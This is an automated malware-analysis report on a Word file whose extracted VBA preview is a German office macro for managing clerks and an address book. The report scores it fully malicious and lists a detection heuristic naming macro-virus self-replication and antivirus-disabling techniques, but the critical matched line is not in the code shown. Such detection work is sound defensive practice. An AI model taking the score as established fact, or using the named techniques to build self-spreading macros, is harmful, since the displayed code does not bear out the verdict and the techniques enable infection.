MALICIOUS
100
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The critical heuristic firing for VBA macro-virus self-replication and AV tampering, along with the detection of legacy WordBasic auto-exec markers, strongly suggests malicious intent. The VBA script itself contains comments and code related to managing referents and adapting to different Word versions, but its primary malicious function appears to be self-replication within the VBA project. No external network activity or specific payload delivery was directly observed in the provided evidence.
Heuristics 3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Application.OrganizerCopy _ -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 50696 bytes |
SHA-256: c154ed01a48723911ed61acf0c98fae7237cb9360441965728986ba539dd37a8 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "ReferentenVerwaltung"
Rem Sachbearbeiter-Verwaltung für Schreibstuben etc./REI/15.03.1995
Rem Version 2.0/28.04.97 für WORD6
Rem REFERENT.DAT als Word-Dokument, befindet sich entweder lokal auf \DATABASE oder im Netz auf \VORLAGE6\DATABASE
Rem 12.09.97: Nicht Betriebssystem-, sondern Word-Version wird unterschieden, damit auch für Word6 unter Win95 geeignet
'11.01.2001: Anpassung für Office2000
'Dim Shared Namen$(0), Durchwahl$(0), BZ$(0), ZeigZeile$(0), Fehlerwert, Datei$, zaehler, MaxReferenten, geaendert, lz$, CrLf$, Tab$
Dim sName2$, sZeichenSB$, sDurchwahl$
Public Sub main()
Attribute main.VB_Description = "Prüft Übertrag"
Attribute main.VB_ProcData.VB_Invoke_Func = "Normal.ReferentenVerwaltung.MAIN"
Dim Fehlerwert
Dim CrLf$
Dim Tab_$
Dim xName$
Dim xBz$
Dim xDurchwahl$
sName2$ = ""
sZeichenSB$ = ""
sDurchwahl$ = ""
Fehlerwert = 0
CrLf$ = Chr(13) + Chr(10)
Tab_$ = Chr(9)
xName$ = sName2$
xBz$ = sZeichenSB$
xDurchwahl$ = sDurchwahl$
RefVerw xName$, xBz$, xDurchwahl$
End Sub
'----------------------------RefVerw
Private Sub RefVerw(xName$, xBz$, xDurchwahl$)
Dim bearbeitet
Dim VWord$
Dim netz$
Dim LW$
Dim Datei$
Dim geladen
Dim n
Dim fNummer
Dim MaxReferenten
WordBasic.ScreenUpdating 0
bearbeitet = 0
'VWord$ = WordBasic.[AppInfo$](2)
'If InStr(VWord$, "6.0") <> 0 Then
' netz$ = WordBasic.[GetPrivateProfileString$]("Info", "Netz", "WINWORD6.INI")
' LW$ = WordBasic.[GetPrivateProfileString$]("Info", "GRPLW", "WINWORD6.INI")
'Else
' netz$ = WordBasic.[GetPrivateProfileString$]("HKEY_CURRENT_USER\Software\Microsoft\Word\7.0\Options", "Netz", "")
' LW$ = WordBasic.[GetPrivateProfileString$]("HKEY_CURRENT_USER\Software\Microsoft\Word\7.0\Options", "GRPLW", "")
'End If
netz$ = System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Common\General", "NETZ")
If netz$ = "JA" Then
Datei$ = Options.DefaultFilePath(wdWorkgroupTemplatesPath) + "\DATABASE\REFERENT.DAT"
Else
Datei$ = "C:\DATABASE\REFERENT.DAT"
End If
geladen = 0
For n = 1 To WordBasic.CountWindows()
If WordBasic.[FileNameFromWindow$](n) = Datei$ Then
geladen = n
fNummer = n
WordBasic.WindowList fNummer
End If
Next n
If geladen = 0 Then
Documents.Open FileName:=Datei$ ', Visible:=False
'WordBasic.FileOpen Datei$
fNummer = WordBasic.Window()
End If
Documents(Datei$).Activate
Again:
'If WordBasic.DocMaximize() = -1 Then WordBasic.DocMaximize
'WordBasic.DocMove 1000, 1000
Rem FensterAlleAnordnen
Rem fName$ = FensterName$(fNummer)
WordBasic.StartOfDocument
If WordBasic.SelInfo(12) <> -1 Then
WordBasic.WW6_EditClear
End If
'ZeileUnten
MaxReferenten = WordBasic.SelInfo(15) - 1 'Anzahl der Zeilen der Tabelle
RefWahl MaxReferenten, xName$, xBz$, xDurchwahl$, bearbeitet
If bearbeitet = 0 Then
WordBasic.WindowList fNummer
WordBasic.FileClose 1
Else
bearbeitet = 0
WordBasic.WindowList fNummer
WordBasic.StartOfDocument
If WordBasic.SelInfo(12) = -1 And WordBasic.SelInfo(15) > 2 Then 'Markierung ist in einer Tabelle und es sind mindestens zwei Einträge enthalten
WordBasic.TableSort DontSortHdr:=1
End If
GoTo Again
End If
sName2$ = xName$
sZeichenSB$ = xBz$
sDurchwahl$ = xDurchwahl$
End Sub
'------------------------------------RefWahl
'Referenten aus Liste wählen oder bearbeiten
Private Sub RefWahl(MaxReferenten, xName$, xBz$, xDurchwahl$, bearbeitet)
Dim lz$
Dim dummy
Dim Zelle
Dim n
Dim zahl
Dim Fehlerwert
ReDim AdrArr__$(MaxReferenten, 3)
lz$ = Chr(13) + Chr(7)
WordBasic.TableSelectRow
WordBasic.ParaDown
ReDim ANamen__$(MaxReferenten)
For dummy = 1 To MaxReferenten
WordBasic.TableSelectRow
'ZeichRechts
WordBasic.PrevCell
For Zelle = 0 To 2
If WordBasic.[Selection$]() <> lz$ Then
AdrArr__$(dummy, Zelle) = WordBasic.[Selection$]()
Else
AdrArr__$(dummy, Zelle) = ""
End If
If Zelle < 2 Then
WordBasic.NextCell
End If
Next Zelle
' AdrArr$(dummy, Zelle) = Markierung$()
If dummy < MaxReferenten Then
WordBasic.NextCell
End If
ANamen__$(dummy - 1) = AdrArr__$(dummy, 0) + " " + AdrArr__$(dummy, 1)
Next dummy
Again:
WordBasic.BeginDialog 464, 136, "Wählen Sie einen Referenten"
WordBasic.Text 16, 11, 169, 12, "&Vorhandene Referenten:"
WordBasic.ListBox 16, 27, 296, 97, ANamen__$(), "ANamen"
WordBasic.PushButton 327, 6, 109, 21, "&Übernehmen", "Definierbar1"
WordBasic.PushButton 327, 30, 109, 21, "&Bearbeiten", "Definierbar2"
WordBasic.PushButton 327, 54, 109, 21, "&Hinzufügen", "Definierbar3"
WordBasic.PushButton 327, 78, 109, 21, "Löschen", "Definierbar4"
WordBasic.CancelButton 327, 102, 109, 21
WordBasic.EndDialog
Dim dlg As Object: Set dlg = WordBasic.CurValues.UserDialog
n = WordBasic.Dialog.UserDialog(dlg)
Rem For dummy = 1 To MaxReferenten
Rem Print dummy
Rem Print AdrArr$(dummy, 0)
Rem Next dummy
zahl = dlg.Anamen + 1
Select Case n
Case 1 'Übernehmen
xName$ = AdrArr__$(zahl, 0)
xDurchwahl$ = AdrArr__$(zahl, 1)
xBz$ = AdrArr__$(zahl, 2)
Case 2 'Bearbeiten
xName$ = AdrArr__$(zahl, 0)
xDurchwahl$ = AdrArr__$(zahl, 1)
xBz$ = AdrArr__$(zahl, 2)
RefBearbeiten xName$, xDurchwahl$, xBz$, bearbeitet
Case 3 'Hinzufügen
RefHinzu bearbeitet
Case 4 'Löschen
xName$ = AdrArr__$(zahl, 0)
xDurchwahl$ = AdrArr__$(zahl, 1)
xBz$ = AdrArr__$(zahl, 2)
RefLöschen xName$, xDurchwahl$, xBz$, bearbeitet
Case 0 'Abbrechen
Fehlerwert = 1
Beenden
End Select
If Fehlerwert = 1 Then GoTo Ende
Ende:
'ChDir CurrDir$
End Sub
'---------------------------- RefBearbeiten
Private Sub RefBearbeiten(xName$, xDurchwahl$, xBz$, bearbeitet)
Dim Titel$
Dim n
On Error GoTo -1: On Error GoTo Auffang
Titel$ = "Referenten bearbeiten"
'DokumentVerschieben 0, 0
WordBasic.StartOfDocument
WordBasic.EditFind Find:=xName$, Direction:=0, WholeWord:=1
WordBasic.BeginDialog 218, 124, Titel$
WordBasic.Text 10, 7, 42, 13, "Name", "Text1"
WordBasic.TextBox 8, 22, 190, 18, "Name"
WordBasic.Text 10, 44, 72, 13, "Durchwahl", "Text2"
WordBasic.TextBox 8, 58, 73, 18, "DW"
WordBasic.Text 113, 46, 86, 13, "Briefzeichen", "Text3"
WordBasic.TextBox 113, 59, 86, 18, "BZ"
WordBasic.OKButton 7, 86, 88, 21
WordBasic.CancelButton 113, 86, 88, 21
WordBasic.EndDialog
Dim dlg As Object: Set dlg = WordBasic.CurValues.UserDialog
dlg.Name = xName$
dlg.DW = xDurchwahl$
dlg.BZ = xBz$
n = WordBasic.Dialog.UserDialog(dlg)
If n = 0 Then GoTo Ende
xName$ = dlg.Name
xDurchwahl$ = dlg.DW
xBz$ = dlg.BZ
WordBasic.TableSelectRow
WordBasic.PrevCell
WordBasic.Insert xName$
WordBasic.NextCell
WordBasic.Insert xDurchwahl$
WordBasic.NextCell
WordBasic.Insert xBz$
bearbeitet = 1
Auffang:
If Err.Number > 0 Then Error Err.Number
Ende:
End Sub
'---------------------------- RefHinzu
Private Sub RefHinzu(bearbeitet)
Dim Titel$
Dim n
Dim xName$
Dim xDurchwahl$
Dim xBz$
'DokumentVerschieben 0, 0
Titel$ = "Referenten hinzufügen"
WordBasic.BeginDialog 218, 124, Titel$
WordBasic.Text 10, 7, 42, 13, "Name", "Text1"
WordBasic.TextBox 8, 22, 190, 18, "Name"
WordBasic.Text 10, 44, 72, 13, "Durchwahl", "Text2"
WordBasic.TextBox 8, 58, 73, 18, "DW"
WordBasic.Text 113, 46, 86, 13, "Briefzeichen", "Text3"
WordBasic.TextBox 113, 59, 86, 18, "BZ"
WordBasic.OKButton 7, 86, 88, 21
WordBasic.CancelButton 113, 86, 88, 21
WordBasic.EndDialog
Dim dlg As Object: Set dlg = WordBasic.CurValues.UserDialog
n = WordBasic.Dialog.UserDialog(dlg)
If n = 0 Then GoTo Ende
xName$ = dlg.Name
xDurchwahl$ = dlg.DW
xBz$ = dlg.BZ
WordBasic.EndOfDocument
WordBasic.TableInsertRow
WordBasic.PrevCell
WordBasic.Insert xName$
WordBasic.NextCell
WordBasic.Insert xDurchwahl$
WordBasic.NextCell
WordBasic.Insert xBz$
bearbeitet = 1
Ende:
End Sub
'---------------------------- RefLöschen
Private Sub RefLöschen(xName$, xDurchwahl$, xBz$, bearbeitet)
Dim Text_$
WordBasic.StartOfDocument
WordBasic.EditFind Find:=xName$, Direction:=0, WholeWord:=1
Text_$ = "Wollen Sie den Eintrag " + xName$ + " wirklich löschen?"
If WordBasic.MsgBox(Text_$, "Referenten löschen", 16 + 1) = -1 Then
WordBasic.TableDeleteRow
bearbeitet = 1
End If
End Sub
'-------------------------Beenden----------------
Private Sub Beenden()
Dim Fehlerwert
Fehlerwert = 1
WordBasic.MsgBox "Referenten-Verwaltung abgebrochen", " Referenten-Verwaltung", 48
End Sub
Attribute VB_Name = "AdressenVerwaltung"
Rem AdressenVerwaltung für CDBrief, CDFax, CDKurzBrief
Rem Erstellt am: 15.01.1997/REI
Rem 23.05.97: bei Einzelplatz keine Neu-Eingabe Adressen möglich - behoben
Rem 12.09.97: Nicht Betriebssystem-, sondern Word-Version wird unterschieden, damit auch für Word6 unter Win95 geeignet
'11.01.2001: Anpassung für Office2000
Dim eAnredeKurz$, eVorname$, eNachname$, eTitel$, eFirma$, eAbteilung$, ePosition$, eAdresse$, eOrt$, ePLZ$, eFax$, eAnredeLang$, EZUSTELL$
Dim sName1$, sName2$, sZeichenSB$, sZeichenST$, sAbteilung$, sDurchwahl$, sFaxDW$
Dim lz$, CrLf$, Tab_$, Fehlerwert, AdrArr__$(), AdrAnz, AdrPfadp$, AdrPfadg$, AdrDatei$, netz$, BriefFenster$, DatenFenster$, neu, Caption$
Public Sub main(xAnredeKurz$, xVorname$, xNachname$, xTitel$, xFirma$, xeAbteilung$, xPosition$, xAdresse$, xOrt$, xPLZ$, xFax$, xAnredeLang$, xName1$, xName2$, xZeichenSB$, xZeichenST$, xAbteilung$, xDurchwahl$, xFaxDW$, xFehler)
ReDim AdrArr__$(1, 1)
'Dim LW$
Dim Lf$
Dim Cr$
Dim xZustell$
Dim xTelefon$
eAnredeKurz$ = ""
eVorname$ = ""
eNachname$ = ""
eTitel$ = ""
eFirma$ = ""
eAbteilung$ = ""
ePosition$ = ""
eAdresse$ = ""
eOrt$ = ""
ePLZ$ = ""
eFax$ = ""
eAnredeLang$ = ""
EZUSTELL$ = ""
sName1$ = ""
sName2$ = ""
sZeichenSB$ = ""
sZeichenST$ = ""
sAbteilung$ = ""
sDurchwahl$ = ""
sFaxDW$ = ""
lz$ = ""
CrLf$ = ""
Tab_$ = ""
Fehlerwert = 0
AdrAnz = 0
AdrPfadp$ = ""
AdrPfadg$ = ""
AdrDatei$ = ""
netz$ = ""
BriefFenster$ = ""
DatenFenster$ = ""
neu = 0
Caption$ = ""
WordBasic.ScreenUpdating 0
Fehlerwert = 0
neu = 0
sName1$ = xName1$
sName2$ = xName2$
sZeichenSB$ = xZeichenSB$
sZeichenST$ = xZeichenST$
sAbteilung$ = xAbteilung$
sDurchwahl$ = xDurchwahl$
sFaxDW$ = xFaxDW$
BriefFenster$ = WordBasic.[WindowName$]()
AdrDatei$ = "W6ADRESS.DOC"
'netz$ = WordBasic.[GetPrivateProfileString$]("HKEY_CURRENT_USER\Software\Microsoft\Word\7.0\Options", "Netz", "")
netz$ = System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Common\General", "NETZ")
'LW$ = WordBasic.[GetPrivateProfileString$]("HKEY_CURRENT_USER\Software\Microsoft\Word\7.0\Options", "GRPLW", "")
If netz$ = "JA" Then
AdrPfadp$ = "C:\DATABASE\" 'Pfad persönliche Adreßdatei
'AdrPfadg$ = LW$ + "\DATABASE\" 'Pfad gemeinsame Adreßdatei
AdrPfadg$ = Options.DefaultFilePath(wdWorkgroupTemplatesPath) + "\DATABASE\" 'Pfad gemeinsame Adreßdatei
Else
AdrPfadp$ = "C:\DATABASE\" 'Pfad persönliche Adreßdatei
AdrPfadg$ = AdrPfadp$ 'nur persönliche Adreßdatei vorhanden
End If
Lf$ = Chr(13)
CrLf$ = Chr(13) + Chr(10)
Cr$ = Chr(13)
Tab_$ = Chr(9)
EmpfängerQuelle
xZustell$ = EZUSTELL$
xAnredeKurz$ = eAnredeKurz$
xVorname$ = eVorname$
xNachname$ = eNachname$
xTitel$ = eTitel$
xFirma$ = eFirma$
xeAbteilung$ = eAbteilung$
xPosition$ = ePosition$
xAdresse$ = eAdresse$
xOrt$ = eOrt$
xPLZ$ = ePLZ$
xTelefon$ = eTelefon$
xFax$ = eFax$
xAnredeLang$ = eAnredeLang$
xName1$ = sName1$
xName2$ = sName2$
xZeichenSB$ = sZeichenSB$
xZeichenST$ = sZeichenST$
xAbteilung$ = sAbteilung$
xDurchwahl$ = sDurchwahl$
xFaxDW$ = sFaxDW$
xFehler = Fehlerwert
If DatenFenster$ <> "" Then
WordBasic.Activate DatenFenster$
WordBasic.DocClose 1
End If
End Sub
'----------------------------------EmpfängerQuelle
Private Sub EmpfängerQuelle()
Dim Choice
Again:
WordBasic.BeginDialog 506, 113, "Adresse des Empfängers"
WordBasic.GroupBox 20, 7, 467, 66, "Einfügen aus"
WordBasic.PushButton 34, 31, 149, 23, "&pers. Adreßbuch"
If netz$ = "JA" Then
WordBasic.PushButton 198, 31, 139, 23, "&gem. Adreßbuch"
End If
WordBasic.PushButton 344, 31, 125, 23, "Ne&u..."
WordBasic.CancelButton 206, 81, 125, 23
WordBasic.EndDialog
Dim dlg As Object: Set dlg = WordBasic.CurValues.UserDialog
Err.Number = 0
Choice = WordBasic.Dialog.UserDialog(dlg, 1)
If netz$ = "JA" Then 'Hinzugefügt 23.05.97
Select Case Choice
Case 0 'abgebrochen
If Beenden = 1 Then
GoTo Ende
Else
GoTo Again
End If
Case 1 'pers. Adreßbuch
Caption$ = "persönliches Adreßbuch"
AdrDatei$ = AdrPfadp$ + AdrDatei$
AdresseLesen (AdrDatei$)
AdresseBereit
Case 2 'gem. Adreßbuch
Caption$ = "gemeinsames Adreßbuch"
AdrDatei$ = AdrPfadg$ + AdrDatei$
AdresseLesen (AdrDatei$)
AdresseBereit
Case 3 'Neu
Caption$ = "Neu"
neu = 1
ReDim AdrArr__$(1, 12)
AdresseBestätigen (1)
Case Else
WordBasic.Beep
End Select
Else
Select Case Choice
Case 0 'abgebrochen
If Beenden = 1 Then
GoTo Ende
Else
GoTo Again
End If
Case 1 'pers. Adreßbuch
Caption$ = "persönliches Adreßbuch"
AdrDatei$ = AdrPfadp$ + AdrDatei$
AdresseLesen (AdrDatei$)
AdresseBereit
Case 2 'Neu
Caption$ = "Neu"
neu = 1
ReDim AdrArr__$(1, 12)
AdresseBestätigen (1)
Case Else
WordBasic.Beep
End Select
End If
Ende:
End Sub
'------------------------------------Adresse bestätigen---------
Private Sub AdresseBestätigen(wahl)
Dim netz_
Dim Choice
WordBasic.BeginDialog 482, 394, "Empfänger aus: "
WordBasic.Text 6, 14, 87, 13, "Anrede kurz:", "Text4"
WordBasic.TextBox 103, 8, 160, 18, "eAnredekurz"
WordBasic.Text 52, 29, 36, 15, "&Titel:"
WordBasic.TextBox 103, 29, 106, 18, "Title"
WordBasic.Text 222, 28, 61, 13, "&Position:"
WordBasic.TextBox 296, 28, 172, 18, "ePosition"
WordBasic.Text 22, 51, 67, 13, "&Vorname:"
WordBasic.TextBox 104, 50, 364, 18, "Vorname"
WordBasic.Text 10, 71, 79, 12, "Na&chname:"
WordBasic.TextBox 103, 71, 365, 18, "Nachname"
WordBasic.Text 46, 91, 44, 12, "&Firma:"
WordBasic.TextBox 103, 91, 132, 18, "eFirma"
WordBasic.Text 248, 92, 32, 16, "A&bt.:"
WordBasic.TextBox 299, 92, 167, 18, "eAbteilung"
WordBasic.Text 39, 112, 51, 13, "&Straße:"
WordBasic.TextBox 102, 112, 366, 18, "eAdresse"
WordBasic.Text 53, 137, 32, 12, "PL&Z:"
WordBasic.TextBox 101, 135, 102, 18, "ePLZ"
WordBasic.Text 210, 135, 25, 13, "&Ort:"
WordBasic.TextBox 245, 135, 222, 18, "eOrt"
WordBasic.Text 34, 160, 55, 13, "Fa&x-Nr.:"
WordBasic.TextBox 101, 157, 192, 18, "eFax"
WordBasic.Text 5, 185, 92, 13, "Brief-Anrede:", "AnredeLang"
WordBasic.TextBox 101, 180, 366, 18, "eAnredeLang"
WordBasic.GroupBox 9, 204, 463, 104, "Absender:"
WordBasic.Text 22, 221, 102, 14, "Verantwortlich:"
WordBasic.TextBox 144, 217, 251, 18, "Name1"
WordBasic.TextBox 402, 217, 60, 18, "BZ1"
WordBasic.Text 22, 243, 112, 13, "Sachbearbeiter:"
WordBasic.TextBox 145, 240, 248, 18, "Name2"
WordBasic.TextBox 402, 240, 60, 18, "BZ2"
WordBasic.Text 15, 264, 70, 13, "Abteilung:"
WordBasic.TextBox 101, 261, 160, 18, "xAbt"
WordBasic.Text 279, 263, 88, 13, "Telefon-DW:"
WordBasic.TextBox 280, 284, 113, 18, "DW"
WordBasic.Text 51, 288, 30, 13, "Fax:"
WordBasic.TextBox 102, 284, 132, 18, "xFax"
WordBasic.GroupBox 8, 314, 466, 71, " Adresse plazieren: "
If netz$ = "JA" Then
WordBasic.PushButton 28, 330, 148, 22, "&Nur im Schriftstück"
WordBasic.PushButton 200, 330, 261, 22, "&Im Schriftstück und pers. Adreßbuch"
WordBasic.PushButton 200, 355, 261, 22, "Im &Schriftstück und gem. Adreßbuch"
Else
WordBasic.PushButton 30, 330, 148, 22, "&Nur im Brief"
WordBasic.PushButton 199, 330, 261, 22, "&Im Schriftstück und pers. Adreßbuch"
End If
WordBasic.CancelButton 28, 355, 151, 22
WordBasic.EndDialog
Dim dlg As Object: Set dlg = WordBasic.CurValues.UserDialog
dlg.eAnredeKurz = (AdrArr__$(wahl, 0))
dlg.Vorname = (AdrArr__$(wahl, 3))
dlg.Nachname = (AdrArr__$(wahl, 4))
dlg.Title = (AdrArr__$(wahl, 1))
dlg.eFirma = (AdrArr__$(wahl, 5))
dlg.eAbteilung = (AdrArr__$(wahl, 6))
dlg.ePosition = (AdrArr__$(wahl, 2))
dlg.eAdresse = (AdrArr__$(wahl, 7))
dlg.eOrt = (AdrArr__$(wahl, 9))
dlg.ePLZ = (AdrArr__$(wahl, 8))
'dlg.eTelefon = AdrArr$(wahl, 10)
dlg.eFax = (AdrArr__$(wahl, 11))
dlg.eAnredeLang = (AdrArr__$(wahl, 12))
dlg.Name1 = sName1$
dlg.Name2 = sName2$
dlg.BZ1 = sZeichenSB$
dlg.BZ2 = sZeichenST$
dlg.xAbt = sAbteilung$
dlg.DW = sDurchwahl$
dlg.xFax = sFaxDW$
If netz_ = 0 Then
Choice = WordBasic.Dialog.UserDialog(dlg, 1)
Else
Choice = WordBasic.Dialog.UserDialog(dlg, 2)
End If
If Choice = 0 Then
' Fehlerwert = 1
If Beenden = 1 Then GoTo Exit_
End If
AdrArr__$(wahl, 0) = dlg.eAnredeKurz
AdrArr__$(wahl, 3) = dlg.Vorname
AdrArr__$(wahl, 4) = dlg.Nachname
AdrArr__$(wahl, 1) = dlg.Title
AdrArr__$(wahl, 5) = dlg.eFirma
AdrArr__$(wahl, 6) = dlg.eAbteilung
AdrArr__$(wahl, 2) = dlg.ePosition
AdrArr__$(wahl, 7) = dlg.eAdresse
AdrArr__$(wahl, 9) = dlg.eOrt
AdrArr__$(wahl, 8) = dlg.ePLZ
'AdrArr$(wahl, 10) = dlg.eTelefon
AdrArr__$(wahl, 11) = dlg.eFax
AdrArr__$(wahl, 12) = dlg.eAnredeLang
eAnredeKurz$ = dlg.eAnredeKurz
eVorname$ = dlg.Vorname
eNachname$ = dlg.Nachname
eTitel$ = dlg.Title
eFirma$ = dlg.eFirma
eAbteilung$ = dlg.eAbteilung
ePosition$ = dlg.ePosition
eAdresse$ = dlg.eAdresse
eOrt$ = dlg.eOrt
ePLZ$ = dlg.ePLZ
'eTelefon$ = dlg.eTelefon
eFax$ = dlg.eFax
eAnredeLang$ = dlg.eAnredeLang
sName1$ = dlg.Name1
sName2$ = dlg.Name2
sZeichenSB$ = dlg.BZ1
sZeichenST$ = dlg.BZ2
sAbteilung$ = dlg.xAbt
sDurchwahl$ = dlg.DW
sFaxDW$ = dlg.xFax
'stop
Select Case Choice
Case 1 'Nur Brief
Case 2 ' Brief & pers. Adreßbuch
AdrDatei$ = AdrPfadp$ + AdrDatei$
AdresseNeu (wahl)
Case 3 'Brief & gem. Adreßbuch
AdrDatei$ = AdrPfadg$ + AdrDatei$
AdresseNeu (wahl)
Case Else
WordBasic.Beep
WordBasic.PrintStatusBar "Hoppla!"
End Select
Exit_:
End Sub
'--------------------------------AdresseLesen
Private Sub AdresseLesen(Datei$)
Dim OldDir$
OldDir$ = WordBasic.[WW2_Files$](".")
OldDir$ = WordBasic.[Left$](OldDir$, Len(OldDir$) - 1)
lz$ = Chr(13) + Chr(7)
'ChDir AdrPfad$
Documents.Open FileName:=Datei$ ', Visible:=False
'WordBasic.FileOpen Name:=Datei$
DatenFenster$ = WordBasic.[WindowName$]()
'If WordBasic.DocMaximize() = -1 Then
' WordBasic.DocMaximize 0
'End If
'Stop
'WordBasic.DocMove 1000, 1000
'WordBasic.ScreenUpdating 0
WordBasic.StartOfDocument
If WordBasic.SelInfo(12) <> -1 Then ' Adressen-Datei enthält Leerzeile am Beginn
WordBasic.WW6_EditClear
End If
End Sub
'------------------------------AdresseBereit
Private Sub AdresseBereit()
Dim dummy
Dim Zelle
Dim Auswahl
Dim wahl
WordBasic.StartOfDocument
AdrAnz = WordBasic.SelInfo(15) - 1
ReDim AdrArr__$(AdrAnz, 12)
WordBasic.TableSelectRow
WordBasic.ParaDown
For dummy = 1 To AdrAnz
WordBasic.TableSelectRow
'ZeichRechts
WordBasic.PrevCell
For Zelle = 0 To 12
If WordBasic.[Selection$]() <> lz$ Then
AdrArr__$(dummy, Zelle) = WordBasic.[Selection$]()
Else
AdrArr__$(dummy, Zelle) = ""
End If
If Zelle < 12 Then
WordBasic.NextCell
End If
Next Zelle
' AdrArr$(dummy, Zelle) = Markierung$()
If dummy < AdrAnz Then
WordBasic.NextCell
End If
Next dummy
'DokumentSchließen 2
ReDim ANamen__$(AdrAnz)
For dummy = 1 To AdrAnz
If AdrArr__$(dummy, 4) <> "" Then
ANamen__$(dummy - 1) = AdrArr__$(dummy, 0) + " " + AdrArr__$(dummy, 3) + " " + AdrArr__$(dummy, 4) + ", " + AdrArr__$(dummy, 5)
Else
ANamen__$(dummy - 1) = AdrArr__$(dummy, 0) + " " + AdrArr__$(dummy, 5) + ", " + AdrArr__$(dummy, 9)
End If
WordBasic.PrintStatusBar ANamen__$(dummy)
Next dummy
WordBasic.BeginDialog 464, 112, "Wählen Sie einen Empfänger"
WordBasic.Text 16, 11, 157, 12, "&Brief adressieren an:"
WordBasic.ListBox 16, 27, 296, 79, ANamen__$(), "ANamen"
WordBasic.OKButton 328, 7, 125, 21
WordBasic.CancelButton 328, 31, 125, 21
WordBasic.EndDialog
Dim dlg As Object: Set dlg = WordBasic.CurValues.UserDialog
Auswahl = WordBasic.Dialog.UserDialog(dlg)
If Auswahl = 0 Then
If Beenden = 1 Then GoTo Ende
End If
wahl = dlg.Anamen
wahl = wahl + 1
AdresseBestätigen (wahl)
Ende:
End Sub
'--------------------------------------AdresseNeu
Private Sub AdresseNeu(dummy)
Dim wahl
Dim x
Dim gesucht$
Dim zeile1
Dim vtext$
Dim n
Dim zeile2
Dim dlg As Object
Dim zahl
Dim Zelle
If neu = 1 Then AdresseLesen (AdrDatei$)
WordBasic.ScreenUpdating 0
If WordBasic.[Left$](AdrDatei$, 1) = "O" Then
Caption$ = "gemeinsames Adreßbuch"
ElseIf WordBasic.[Left$](AdrDatei$, 1) = "C" Then
Caption$ = "persönliches Adreßbuch"
Else
Caption$ = "Neu"
End If
wahl = 0
ReDim aGefunden__$(AdrAnz), aZeilen__(AdrAnz)
x = 0
WordBasic.StartOfDocument
If AdrArr__$(dummy, 4) <> "" Then
gesucht$ = AdrArr__$(dummy, 4)
WordBasic.EditFind Find:=gesucht$, Direction:=0, WholeWord:=1
While WordBasic.EditFindFound()
zeile1 = WordBasic.SelInfo(13)
vtext$ = ""
WordBasic.StartOfRow
WordBasic.CharLeft
WordBasic.NextCell
For n = 0 To 4
If WordBasic.[Selection$]() <> lz$ Then
vtext$ = vtext$ + " " + WordBasic.[Selection$]()
Else
vtext$ = vtext$ + ""
End If
WordBasic.NextCell
Next n
aGefunden__$(x) = vtext$
aZeilen__(x) = zeile1
x = x + 1
WordBasic.EditFind Find:=gesucht$, Direction:=0, WholeWord:=1
zeile2 = WordBasic.SelInfo(13)
If zeile2 = zeile1 Then GoTo weiter
Wend
Else
If AdrArr__$(dummy, 5) <> "" Then
gesucht$ = AdrArr__$(dummy, 5)
WordBasic.EditFind Find:=gesucht$, Direction:=0, WholeWord:=1
While WordBasic.EditFindFound()
zeile1 = WordBasic.SelInfo(13)
WordBasic.StartOfRow
vtext$ = WordBasic.[Selection$]()
WordBasic.NextCell
WordBasic.NextCell
WordBasic.NextCell
WordBasic.NextCell
vtext$ = vtext$ + " " + WordBasic.[Selection$]()
aGefunden__$(x) = vtext$
aZeilen__(x) = zeile1
x = x + 1
WordBasic.EditFind Find:=gesucht$, Direction:=0, WholeWord:=1
zeile2 = WordBasic.SelInfo(13)
If zeile2 = zeile1 Then GoTo weiter
Wend
End If
End If
weiter:
If x > 0 Then
WordBasic.BeginDialog 372, 216, "Eintrag gefunden: " + Caption$
WordBasic.Text 16, 51, 343, 40, "Markieren Sie in der Liste den Eintrag, den Sie ersetzen wollen, oder Hinzufügen für den neuen Eintrag.", "Text2"
WordBasic.Text 19, 10, 324, 41, "Für die Adresse, die Sie ändern oder hinzufügen wollen, wurden ähnliche Einträge gefunden. ", "Text3"
WordBasic.ListBox 14, 90, 337, 84, aGefunden__$(), "Listenfeld1"
WordBasic.PushButton 14, 177, 88, 21, "Ersetzen", "Definierbar1"
WordBasic.PushButton 143, 176, 88, 21, "Hinzufügen", "Definierbar2"
WordBasic.CancelButton 262, 177, 88, 21
WordBasic.EndDialog
Set dlg = WordBasic.CurValues.UserDialog
wahl = WordBasic.Dialog.UserDialog(dlg)
zahl = dlg.Listenfeld1
Select Case wahl
Case 0
AdresseBestätigen (dummy)
Case 1
WordBasic.StartOfDocument
While WordBasic.SelInfo(13) <> aZeilen__(zahl)
WordBasic.TableSelectRow
WordBasic.ParaDown
Wend
WordBasic.StartOfRow
WordBasic.CharLeft
WordBasic.NextCell
For Zelle = 0 To 12
WordBasic.Insert AdrArr__$(dummy, Zelle)
If Zelle < 12 Then
WordBasic.NextCell
End If
Next Zelle
Case 2
WordBasic.TableSelectTable
WordBasic.CharRight
WordBasic.TableInsertRow
For Zelle = 0 To 12
WordBasic.Insert AdrArr__$(dummy, Zelle)
If Zelle < 12 Then
WordBasic.NextCell
End If
Next Zelle
End Select
Else
WordBasic.TableSelectTable
WordBasic.CharRight
